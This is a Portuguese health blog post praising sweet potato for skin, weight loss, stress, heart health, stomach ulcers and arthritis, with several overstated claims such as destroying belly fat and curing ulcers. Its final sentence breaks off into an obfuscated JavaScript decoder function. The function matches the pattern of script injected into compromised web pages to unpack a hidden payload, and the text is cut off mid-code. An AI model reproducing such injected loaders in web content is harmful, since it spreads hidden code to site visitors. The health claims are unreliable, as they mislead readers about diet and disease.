Dicas saudáveis: conheça os benefícios da batata doce
A batata doce é um dos alimentos mais nutritivos do mundo. É um carboidrato de absorção lenta e os praticantes de desporto costumam adorar! Eu não sou uma desportista federada, mas adoro desporto e procuro levar a vida de uma forma saudável. A alimentação é, por isso, uma das minhas principais preocupações.
Sou uma fã de batata doce e de todas os benefícios que ela nos traz. Descubra-os aqui!
É MUITO ANTIOXIDANTE:
É uma excelente fonte de vitamina A e C. Ambas as vitaminas são essenciais para manter a saúde da nossa pele. Estimulam também a produção de colagénio, que ajuda a prevenir o aparecimento de rugas. A sua cor laranja forte denuncia a presença de betacaroteno na sua composição, que é um pigmento que se transforma em vitamina A ao ser absorvido na corrente sanguínea e que favorece uma visão saudável.
AJUDA A PERDER PESO:
A batata doce é uma excelente alternativa à batata normal ou à massa. Tem um baixo índice de calorias e um baixo índice glicémico. Para além disso, é rica em fibras e em potássio. Todos estes componentes são ótimos para destruir a gordura abdominal e para controlar os picos de insulina no sangue.
CALMANTE NATURAL:
O stress a que estamos sujeitos no nosso dia a dia pode ser muito destrutivo para a nossa saúde, assim sendo temos que nos munir de armas para o combater. A batata doce é um poderoso aliado, já que é fonte de magnésio, um mineral anti stress. Promove o relaxamento, a calma, o bom humor e o melhor de tudo é que o sabor é delicioso.
PREVINE O ENFARTE DO MIOCÁRDIO:
Como é rica em vitamina B6, ajuda a reduzir a homocisteína. Este aminoácido no sangue pode significar propensão para doenças como o enfarte do coração. O facto de também ser rica em potássio ajuda a controlar os níveis da tensão arterial e a regular os batimentos cardíacos.
É UM CALMANTE PARA O ESTÔMAGO:
Ao comermos batata doce estamos ainda a ajudar a curar ulceras no estômago. As vitaminas B, C, o potássio, o betacaroteno e o cálcio que se encontram neste alimento são os responsáveis pelo feito. As fibras ainda ajudam a aliviar a prisão de ventre e a acidez. Como é anti-inflamatória, diga também adeus às dores.
AJUDA A COMBATER A ARTRITE:
A batata doce é bastante rica em beta criptoxantina, que previne inflamações crónicas como a artrite reumatóide. Há estudos que apontam para uma redução em 50% do risco de desenvolver esta doença ao consumir batata doce. Basta que todos os dias inclua numa refeição apenas, uma porção de um alimento rico nesta substância.
Se gostou de conhecer os benefícios da batata doce para a sua saúde, conheça também os benefícios da rúcula e do function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa